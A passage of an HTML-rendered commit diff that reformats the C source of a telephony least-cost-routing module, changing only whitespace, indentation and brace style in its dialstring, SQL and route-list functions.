</ins><span class="cx">                 src++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* break on first / */
</span><span class="cx">                 dst = strchr(src, '/');
</span><span class="cx">                 *dst = '\0';
</span><span class="lines">@@ -216,12 +216,12 @@
</span><span class="cx">                         switch_safe_free(tmp_regex);
</span><span class="cx">                         dst = dst_regex;
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;expanded src: %s, dst: %s\n&quot;, src, dst);
</span><span class="cx">         }
</span><del>-  
</del><ins>+
</ins><span class="cx">         if ((proceed = switch_regex_perform(number, src, &amp;re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><del>-                len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
</del><ins>+                len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed;        /* guestimate size */
</ins><span class="cx">                 if (!(substituted = switch_core_alloc(pool, len))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Memory Error!\n&quot;);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -233,77 +233,71 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_regex_safe_free(re);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return substituted;
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         switch_regex_safe_free(re);
</span><span class="cx">         return number;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
</del><ins>+static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile,
+                                                         switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         size_t lstrip;
</span><del>-        size_t  tstrip;
</del><ins>+        size_t tstrip;
</ins><span class="cx">         char *data = NULL;
</span><span class="cx">         char *destination_number = NULL;
</span><del>-        char *orig_destination_number = NULL; 
</del><ins>+        char *orig_destination_number = NULL;
</ins><span class="cx">         char *codec = NULL;
</span><span class="cx">         char *cid = NULL;
</span><span class="cx">         char *header = NULL;
</span><span class="cx">         char *user_rate = NULL;
</span><span class="cx"> 
</span><span class="cx">         orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tstrip = ((cur_route-&gt;digit_len - cur_route-&gt;tstrip) + 1);
</span><span class="cx">         lstrip = cur_route-&gt;lstrip;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cur_route-&gt;tstrip &gt; 0) {
</span><span class="cx">                 if (strlen(destination_number) &gt; tstrip) {
</span><span class="cx">                         destination_number[tstrip] = '\0';
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         destination_number[0] = '\0';
</span><del>-                               }
-    }
</del><ins>+                }
+        }
</ins><span class="cx">         if (cur_route-&gt;lstrip &gt; 0) {
</span><span class="cx">                 if (strlen(destination_number) &gt; lstrip) {
</span><span class="cx">                         destination_number += lstrip;
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         destination_number[0] = '\0';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">         codec = &quot;&quot;;
</span><span class="cx">         if (!zstr(cur_route-&gt;codec)) {
</span><span class="cx">                 codec = switch_core_sprintf(pool, &quot;,absolute_codec_string=%s&quot;, cur_route-&gt;codec);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = &quot;&quot;;
</span><span class="cx">         if (!zstr(cur_route-&gt;cid)) {
</span><del>-                cid = switch_core_sprintf(pool, &quot;,origination_caller_id_number=%s&quot;, 
-                                                                  do_cid(pool, cur_route-&gt;cid, caller_id, session));
</del><ins>+                cid = switch_core_sprintf(pool, &quot;,origination_caller_id_number=%s&quot;, do_cid(pool, cur_route-&gt;cid, caller_id, session));
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         header = &quot;&quot;;
</span><span class="cx">         if (profile-&gt;info_in_headers) {
</span><del>-                header = switch_core_sprintf(pool, &quot;,sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s&quot;,
-                                                                          cur_route-&gt;rate_str, 
-                                                                          cur_route-&gt;carrier_name);
</del><ins>+                header = switch_core_sprintf(pool, &quot;,sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s&quot;, cur_route-&gt;rate_str, cur_route-&gt;carrier_name);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cur_route-&gt;user_rate_str)) {
</span><span class="cx">                 user_rate = &quot;&quot;;
</span><span class="cx">         } else {
</span><span class="cx">                 user_rate = switch_core_sprintf(pool, &quot;,lcr_user_rate=%s&quot;, cur_route-&gt;user_rate_str);
</span><span class="cx">         }
</span><del>-        
-        data = switch_core_sprintf(pool, &quot;[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s&quot;
-                                                                , cur_route-&gt;carrier_name, cur_route-&gt;rate_str
-                                                                , user_rate, codec, cid, header
-                                                                , cur_route-&gt;gw_prefix, cur_route-&gt;prefix
-                                                                , destination_number, cur_route-&gt;suffix, cur_route-&gt;gw_suffix);
-                        
</del><ins>+
+        data =
+                switch_core_sprintf(pool, &quot;[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s&quot;, cur_route-&gt;carrier_name, cur_route-&gt;rate_str, user_rate, codec, cid,
+                                                        header, cur_route-&gt;gw_prefix, cur_route-&gt;prefix, destination_number, cur_route-&gt;suffix, cur_route-&gt;gw_suffix);
+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Returning Dialstring %s\n&quot;, data);
</span><span class="cx">         return data;
</span><span class="cx"> }
</span><span class="lines">@@ -311,13 +305,13 @@
</span><span class="cx"> static profile_t *locate_profile(const char *profile_name)
</span><span class="cx"> {
</span><span class="cx">         profile_t *profile = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(profile_name)) {
</span><span class="cx">                 profile = globals.default_profile;
</span><span class="cx">         } else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error invalid profile %s\n&quot;, profile_name);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return profile;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -365,7 +359,7 @@
</span><span class="cx">                 if (current-&gt;digit_str != NULL) {
</span><span class="cx">                         if (current-&gt;digit_len &gt; maxes-&gt;digit_str) {
</span><span class="cx">                                 maxes-&gt;digit_str = current-&gt;digit_len;
</span><del>-                        } 
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (current-&gt;rate_str != NULL) {
</span><span class="cx">                         this_len = strlen(current-&gt;rate_str);
</span><span class="lines">@@ -374,7 +368,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 if (current-&gt;codec != NULL) {
</span><del>-                        this_len= strlen(current-&gt;codec);
</del><ins>+                        this_len = strlen(current-&gt;codec);
</ins><span class="cx">                         if (this_len &gt; maxes-&gt;codec) {
</span><span class="cx">                                 maxes-&gt;codec = this_len;
</span><span class="cx">                         }
</span><span class="lines">@@ -393,13 +387,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">         }
</span><span class="cx">         return dbh;
</span><span class="cx"> }
</span><span class="lines">@@ -430,23 +425,23 @@
</span><span class="cx">                 db_random = &quot;random()&quot;;
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* make a new string with digits only */
</span><del>-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str) 
</del><ins>+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</ins><span class="cx"> {
</span><span class="cx">         char *p, *np, *newstr;
</span><span class="cx">         size_t len;
</span><span class="cx"> 
</span><del>-        p = (char *)str;
</del><ins>+        p = (char *) str;
</ins><span class="cx"> 
</span><span class="cx">         len = strlen(str);
</span><del>-        newstr = switch_core_alloc(pool, len+1);
</del><ins>+        newstr = switch_core_alloc(pool, len + 1);
</ins><span class="cx">         np = newstr;
</span><del>-        
-        while(*p) {
</del><ins>+
+        while (*p) {
</ins><span class="cx">                 if (switch_isdigit(*p)) {
</span><span class="cx">                         *np = *p;
</span><span class="cx">                         np++;
</span><span class="lines">@@ -478,14 +473,10 @@
</span><span class="cx"> 
</span><span class="cx">         digit_len = strlen(digits);
</span><span class="cx">         digits_copy = switch_core_strdup(pool, digits);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (n = digit_len; n &gt; 0; n--) {
</span><span class="cx">                 digits_copy[n] = '\0';
</span><del>-                dig_stream.write_function(&amp;dig_stream, &quot;%s%s%s%s&quot;, 
-                                                                        (n==digit_len ? &quot;&quot; : &quot;, &quot;), 
-                                                                        (quote ? &quot;'&quot; : &quot;&quot;),
-                                                                        digits_copy,
-                                                                        (quote ? &quot;'&quot; : &quot;&quot;));
</del><ins>+                dig_stream.write_function(&amp;dig_stream, &quot;%s%s%s%s&quot;, (n == digit_len ? &quot;&quot; : &quot;, &quot;), (quote ? &quot;'&quot; : &quot;&quot;), digits_copy, (quote ? &quot;'&quot; : &quot;&quot;));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         ret = switch_core_strdup(pool, dig_stream.data);
</span><span class="lines">@@ -496,42 +487,41 @@
</span><span class="cx"> /* format the custom sql */
</span><span class="cx"> static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
</span><span class="cx"> {
</span><del>-        char * tmpSQL = NULL;
-        char * newSQL = NULL;
</del><ins>+        char *tmpSQL = NULL;
+        char *newSQL = NULL;
</ins><span class="cx">         switch_channel_t *channel;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* first replace %s with digits to maintain backward compat */
</span><span class="cx">         if (cb_struct-&gt;profile-&gt;custom_sql_has_percent == SWITCH_TRUE) {
</span><span class="cx">                 tmpSQL = switch_string_replace(custom_sql, &quot;%q&quot;, digits);
</span><span class="cx">                 newSQL = tmpSQL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* expand the vars */
</span><span class="cx">         if (cb_struct-&gt;profile-&gt;custom_sql_has_vars == SWITCH_TRUE) {
</span><span class="cx">                 if (cb_struct-&gt;session) {
</span><span class="cx">                         channel = switch_core_session_get_channel(cb_struct-&gt;session);
</span><span class="cx">                         switch_assert(channel);
</span><span class="cx">                         /*
</span><del>-                        newSQL = switch_channel_expand_variables_escape(channel, 
-                                                                                                                        tmpSQL ? tmpSQL : custom_sql,
-                                                                                                                        escape_sql);
-                        */
-                        newSQL = switch_channel_expand_variables(channel, 
-                                                                                                                tmpSQL ? tmpSQL : custom_sql);
</del><ins>+                           newSQL = switch_channel_expand_variables_escape(channel, 
+                           tmpSQL ? tmpSQL : custom_sql,
+                           escape_sql);
+                         */
+                        newSQL = switch_channel_expand_variables(channel, tmpSQL ? tmpSQL : custom_sql);
</ins><span class="cx">                 } else if (cb_struct-&gt;event) {
</span><span class="cx">                         /* use event system to expand vars */
</span><span class="cx">                         newSQL = switch_event_expand_headers(cb_struct-&gt;event, tmpSQL ? tmpSQL : custom_sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_CRIT,
</span><del>-                                                                &quot;mod_lcr called without a valid session while using a custom_sql that has channel variables.\n&quot;);
</del><ins>+                                                          &quot;mod_lcr called without a valid session while using a custom_sql that has channel variables.\n&quot;);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tmpSQL != newSQL) {
</span><span class="cx">                 switch_safe_free(tmpSQL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (newSQL == NULL) {
</span><span class="cx">                 return (char *) custom_sql;
</span><span class="cx">         } else {
</span><span class="lines">@@ -543,10 +533,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_bool_t retval = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn &amp;&amp; (dbh = lcr_get_db_handle())) {
</span><span class="cx">                 if (switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, NULL)
</span><del>-                                == SWITCH_ODBC_FAIL) {
</del><ins>+                        == SWITCH_ODBC_FAIL) {
</ins><span class="cx">                         retval = SWITCH_FALSE;
</span><span class="cx">                 } else {
</span><span class="cx">                         retval = SWITCH_TRUE;
</span><span class="lines">@@ -562,23 +552,21 @@
</span><span class="cx">         lcr_route current = NULL;
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><span class="cx">         char *key = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_memory_pool_t *pool = cbt-&gt;pool;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (argc &lt; LCR_QUERY_COLS_REQUIRED) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</span><del>-                                                        &quot;Unexpected number of columns returned for SQL.  Returned column count: %d. &quot;
-                                                        &quot;If using a custom sql for this profile, verify it is correct.  Otherwise file a bug report.\n&quot;,
-                                                        argc);
</del><ins>+                                                  &quot;Unexpected number of columns returned for SQL.  Returned column count: %d. &quot;
+                                                  &quot;If using a custom sql for this profile, verify it is correct.  Otherwise file a bug report.\n&quot;, argc);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (zstr(argv[LCR_GW_PREFIX_PLACE]) &amp;&amp; zstr(argv[LCR_GW_SUFFIX_PLACE]) ) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                &quot;There's no way to dial this Gateway: Carrier: \&quot;%s\&quot; Prefix: \&quot;%s\&quot;, Suffix \&quot;%s\&quot;\n&quot;,
-                                                                switch_str_nil(argv[LCR_CARRIER_PLACE]),
-                                                                switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</del><ins>+        if (zstr(argv[LCR_GW_PREFIX_PLACE]) &amp;&amp; zstr(argv[LCR_GW_SUFFIX_PLACE])) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                  &quot;There's no way to dial this Gateway: Carrier: \&quot;%s\&quot; Prefix: \&quot;%s\&quot;, Suffix \&quot;%s\&quot;\n&quot;,
+                                                  switch_str_nil(argv[LCR_CARRIER_PLACE]), switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -590,7 +578,7 @@
</span><span class="cx">         additional-&gt;suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
</span><span class="cx">         additional-&gt;prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
</span><span class="cx">         additional-&gt;carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
</span><del>-        additional-&gt;rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
</del><ins>+        additional-&gt;rate = (float) atof(switch_str_nil(argv[LCR_RATE_PLACE]));
</ins><span class="cx">         additional-&gt;rate_str = switch_core_sprintf(pool, &quot;%0.5f&quot;, additional-&gt;rate);
</span><span class="cx">         additional-&gt;gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
</span><span class="cx">         additional-&gt;gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</span><span class="lines">@@ -603,7 +591,7 @@
</span><span class="cx">                 additional-&gt;cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
</span><span class="cx">         }
</span><span class="cx">         if (argc &gt; LCR_USER_RATE_PLACE) {
</span><del>-                additional-&gt;user_rate = (float)atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
</del><ins>+                additional-&gt;user_rate = (float) atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
</ins><span class="cx">                 additional-&gt;user_rate_str = switch_core_sprintf(pool, &quot;%0.5f&quot;, additional-&gt;user_rate);
</span><span class="cx">         }
</span><span class="cx">         additional-&gt;dialstring = get_bridge_data(pool, cbt-&gt;lookup_number, cbt-&gt;cid, additional, cbt-&gt;profile, cbt-&gt;session);
</span><span class="lines">@@ -620,14 +608,12 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (current = cbt-&gt;head; current; current = current-&gt;next) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 key = switch_core_sprintf(pool, &quot;%s:%s&quot;, additional-&gt;gw_prefix, additional-&gt;gw_suffix);
</span><span class="cx">                 if (switch_core_hash_find(cbt-&gt;dedup_hash, key)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                &quot;Ignoring Duplicate route for termination point (%s)\n&quot;,
-                                                                key);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Ignoring Duplicate route for termination point (%s)\n&quot;, key);
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -647,13 +633,12 @@
</span><span class="cx">                         if (current-&gt;rate &gt; additional-&gt;rate) {
</span><span class="cx">                                 /* insert myself here */
</span><span class="cx">                                 if (current-&gt;prev != NULL) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Adding %s before %s\n&quot;, 
-                                                                                additional-&gt;carrier_name, current-&gt;carrier_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Adding %s before %s\n&quot;, additional-&gt;carrier_name, current-&gt;carrier_name);
</ins><span class="cx">                                         current-&gt;prev-&gt;next = additional;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /* put this one at the head */
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Inserting %s to list head before %s\n&quot;, 
-                                                                                additional-&gt;carrier_name, current-&gt;carrier_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Inserting %s to list head before %s\n&quot;,
+                                                                          additional-&gt;carrier_name, current-&gt;carrier_name);
</ins><span class="cx">                                         cbt-&gt;head = additional;
</span><span class="cx">                                 }
</span><span class="cx">                                 additional-&gt;next = current;
</span><span class="lines">@@ -665,7 +650,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         } else if (current-&gt;next == NULL) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;adding %s to end of list after %s\n&quot;,
</span><del>-                                                                        additional-&gt;carrier_name, current-&gt;carrier_name);
</del><ins>+                                                                  additional-&gt;carrier_name, current-&gt;carrier_name);
</ins><span class="cx">                                 current-&gt;next = additional;
</span><span class="cx">                                 additional-&gt;prev = current;
</span><span class="cx">                                 if (switch_core_hash_insert(cbt-&gt;dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -683,7 +668,7 @@
</span><span class="cx"> {
</span><span class="cx">         int count = 0;
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         count = atoi(argv[1]);
</span><span class="cx">         if (count == 1) {
</span><span class="cx">                 if (!strcmp(argv[0], &quot;state&quot;)) {
</span><span class="lines">@@ -693,19 +678,19 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Type: %s, Count: %d\n&quot;, argv[0], count);    
-        
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Type: %s, Count: %d\n&quot;, argv[0], count);
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t is_intrastatelata(callback_t *cb_struct)
</span><span class="cx"> {
</span><span class="cx">         char *sql = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract npa nxx - make some assumptions about format:
</span><del>-                e164 format without the +
-                NANP only (so 11 digits starting with 1)
-        */
</del><ins>+           e164 format without the +
+           NANP only (so 11 digits starting with 1)
+         */
</ins><span class="cx">         if (!cb_struct-&gt;lookup_number || (strlen(cb_struct-&gt;lookup_number) != 11 &amp;&amp; *cb_struct-&gt;lookup_number != '1')) {
</span><span class="cx">                 /* dest doesn't appear to be NANP number */
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -714,29 +699,28 @@
</span><span class="cx">                 /* cid not NANP */
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* assume that if the area code (plus leading 1) are the same we're intrastate */
</span><span class="cx">         /* probably a bad assumption */
</span><span class="cx">         /*
</span><del>-        if (!strncmp(cb_struct-&gt;lookup_number, cb_struct-&gt;cid, 4)) {
-                cb_struct-&gt;intrastate = SWITCH_TRUE;
-                return SWITCH_STATUS_SUCCESS;
-        }
-        */
-        
</del><ins>+           if (!strncmp(cb_struct-&gt;lookup_number, cb_struct-&gt;cid, 4)) {
+           cb_struct-&gt;intrastate = SWITCH_TRUE;
+           return SWITCH_STATUS_SUCCESS;
+           }
+         */
+
</ins><span class="cx">         sql = switch_core_sprintf(cb_struct-&gt;pool,
</span><del>-                                                                &quot;SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)&quot;
-                                                                &quot; UNION &quot;
-                                                                &quot;SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)&quot;,
-                                                                cb_struct-&gt;lookup_number+1, cb_struct-&gt;lookup_number+4,
-                                                                cb_struct-&gt;cid+1, cb_struct-&gt;cid+4,
-                                                                cb_struct-&gt;lookup_number+1, cb_struct-&gt;lookup_number+4,
-                                                                cb_struct-&gt;cid+1, cb_struct-&gt;cid+4);
</del><ins>+                                                          &quot;SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)&quot;
+                                                          &quot; UNION &quot;
+                                                          &quot;SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)&quot;,
+                                                          cb_struct-&gt;lookup_number + 1, cb_struct-&gt;lookup_number + 4,
+                                                          cb_struct-&gt;cid + 1, cb_struct-&gt;cid + 4,
+                                                          cb_struct-&gt;lookup_number + 1, cb_struct-&gt;lookup_number + 4, cb_struct-&gt;cid + 1, cb_struct-&gt;cid + 4);
</ins><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;SQL: %s\n&quot;, sql);    
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;SQL: %s\n&quot;, sql);
</ins><span class="cx"> 
</span><del>-        return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
-        
</del><ins>+        return (lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t lcr_do_lookup(callback_t *cb_struct)
</span><span class="lines">@@ -752,26 +736,26 @@
</span><span class="cx">         char *safe_sql = NULL;
</span><span class="cx">         char *rate_field = NULL;
</span><span class="cx">         char *user_rate_field = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(cb_struct-&gt;lookup_number != NULL);
</span><span class="cx"> 
</span><span class="cx">         digits_copy = string_digitsonly(cb_struct-&gt;pool, digits);
</span><span class="cx">         if (zstr(digits_copy)) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* allocate the dedup hash */
</span><span class="cx">         if (switch_core_hash_init(&amp;cb_struct-&gt;dedup_hash, cb_struct-&gt;pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_ERROR, &quot;Error initializing the dedup hash\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         digits_expanded = expand_digits(cb_struct-&gt;pool, digits_copy, cb_struct-&gt;profile-&gt;quote_in_list);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile-&gt;profile_has_npanxx == SWITCH_TRUE) {
</span><span class="cx">                 is_intrastatelata(cb_struct);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set our rate field based on env and profile */
</span><span class="cx">         if (cb_struct-&gt;intralata == SWITCH_TRUE &amp;&amp; profile-&gt;profile_has_intralata == SWITCH_TRUE) {
</span><span class="cx">                 rate_field = switch_core_strdup(cb_struct-&gt;pool, &quot;intralata_rate&quot;);
</span><span class="lines">@@ -785,7 +769,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;intra routing [state:%d lata:%d] so rate field is [%s]\n&quot;,
</span><span class="cx">                                           cb_struct-&gt;intrastate, cb_struct-&gt;intralata, rate_field);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set some channel vars if we have a session */
</span><span class="cx">         if (cb_struct-&gt;session) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;we have a session\n&quot;);
</span><span class="lines">@@ -822,11 +806,11 @@
</span><span class="cx">                 /* channel_expand_variables returned the same string to us, no need to free */
</span><span class="cx">                 switch_safe_free(safe_sql);
</span><span class="cx">         }
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;SQL: %s\n&quot;, (char *)sql_stream.data);    
-        
-        lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
</del><span class="cx"> 
</span><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct-&gt;session), SWITCH_LOG_DEBUG, &quot;SQL: %s\n&quot;, (char *) sql_stream.data);
+
+        lookup_status = lcr_execute_sql_callback((char *) sql_stream.data, route_add_callback, cb_struct);
+
</ins><span class="cx">         switch_safe_free(sql_stream.data);
</span><span class="cx">         switch_event_safe_destroy(&amp;cb_struct-&gt;event);
</span><span class="cx">         switch_core_hash_destroy(&amp;cb_struct-&gt;dedup_hash);
</span><span class="lines">@@ -848,16 +832,15 @@
</span><span class="cx">         switch_event_create(&amp;event, SWITCH_EVENT_MESSAGE);
</span><span class="cx">         routes.event = event;
</span><span class="cx">         routes.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(routes.profile = locate_profile(lcr_profile))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unknown profile: %s\n&quot;, lcr_profile);
</span><span class="cx">                 return SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         routes.lookup_number = &quot;15555551212&quot;;
</span><span class="cx">         routes.cid = &quot;18005551212&quot;;
